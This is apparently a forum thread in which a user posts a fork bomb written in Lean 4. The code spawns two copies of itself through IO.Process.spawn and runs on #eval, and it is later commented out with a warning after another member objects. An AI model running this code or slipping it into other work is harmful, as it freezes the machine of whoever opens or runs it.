Fork bomb in Lean

Stream: general

[Yijun Yuan]

I made a fork bomb in Lean :rolling_on_the_floor_laughing:... (Maybe the first computer virus written in Lean?)
It is not very perfect, for it can be terminated by closing VSCode. I also run it in a WSL terminal, then wsl --shutdown also kills the bomb （before the computer is completely frozen......)

Just for fun. :zany_face:

Warning: the following code is dangerous. It will freeze your computer. Run at your own risk!

/-
import Lean
open Lean Elab Term

elab "#warn " msg:str : command => do
  logWarning msg.getString

elab "current_file" : term => do
  return mkStrLit (← getFileName)

partial def test : IO Unit := do
  let _ ← IO.Process.spawn { cmd := "lean", args := #["--run", current_file] }
  let _ ← IO.Process.spawn { cmd := "lean", args := #["--run", current_file] }

#warn "So something, before it's too late!"

def main : IO Unit := test

#eval test
-/

[Riccardo Brasca]

Please don't post code that can freeze someone else's computer.

[Yijun Yuan]

Riccardo Brasca said:

Please don't post code that can freeze someone else's computer.

Should I delete it or add a warning?

[Riccardo Brasca]

I think it's enough to make the code a comment with a warning, so people that want to experiment have to do something more than copy/paste.

[Yijun Yuan]

Thanks.

[Martin Dvořák]

I guess you can add it here:
https://github.com/aaronryank/fork-bomb

[Julian Berman]

(Maybe the first computer virus written in Lean?)

You've been beaten by quite a few years I think for this style of thing :) -- https://github.com/leanprover/lean3/issues/1781